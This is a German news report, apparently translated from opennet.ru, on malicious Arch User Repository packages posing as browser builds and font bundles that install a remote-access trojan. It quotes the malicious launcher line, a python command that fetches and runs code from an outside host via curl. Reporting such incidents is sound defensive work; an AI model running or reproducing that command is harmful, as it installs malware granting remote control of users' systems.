Im AUR-Repository von Arch Linux wurden weitere 6 schadhafte Pakete entdeckt.

Im AUR (Arch User Repository), das in Arch Linux zum Verteilen von Paketen von Drittanbietern verwendet wird, wurde die Veröffentlichung von schadhaften Codes fortgesetzt, die in Pakete mit inoffiziellen Browser-Builds integriert sind. Zusätzlich zu den vor zwei Wochen entdeckten schadhaften Paketen firefox-patch-bin, librewolf-fix-bin und zen-browser-patched-bin wurde im AUR das Paket google-chrome-stable hinzugefügt, das ebenfalls eine Änderung enthält, die eine schadhafte Komponente installiert, die Fernzugriff auf das System ermöglicht.

In der PKGBUILD-Datei des problematischen Pakets wurde die Installation eines Skripts zur Ausführung des Browsers google-chrome-stable.sh definiert, das unter anderem den Befehl ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘ enthielt, der schadhafte Software herunterlud, die vom Dienst VirusTotal als Trojaner Spark erkannt wurde, der Fernzugriff auf das System ermöglicht, Prozesse startet, Dateien überträgt, den Datenverkehr inspiziert und Screenshots sendet.

Das schadhafte Paket google-chrome-stable wurde vorgestern hochgeladen und mehrere Stunden nach seinem Erscheinen von den Administratoren des AUR entfernt. Fast sofort nach der Löschung von google-chrome-stable wurden zwei schadhafte Pakete im AUR hochgeladen – 'chrome' und 'chrome-bin', die ein ähnliches Installationsszenario für schadhafte Software auf dem System des Nutzers enthalten.

Anschließend wurden drei weitere Pakete mit schadhafter Software entdeckt: ttf-mac-fonts-all, ttf-ms-fonts-all und gromit.

Quelle: opennet.ru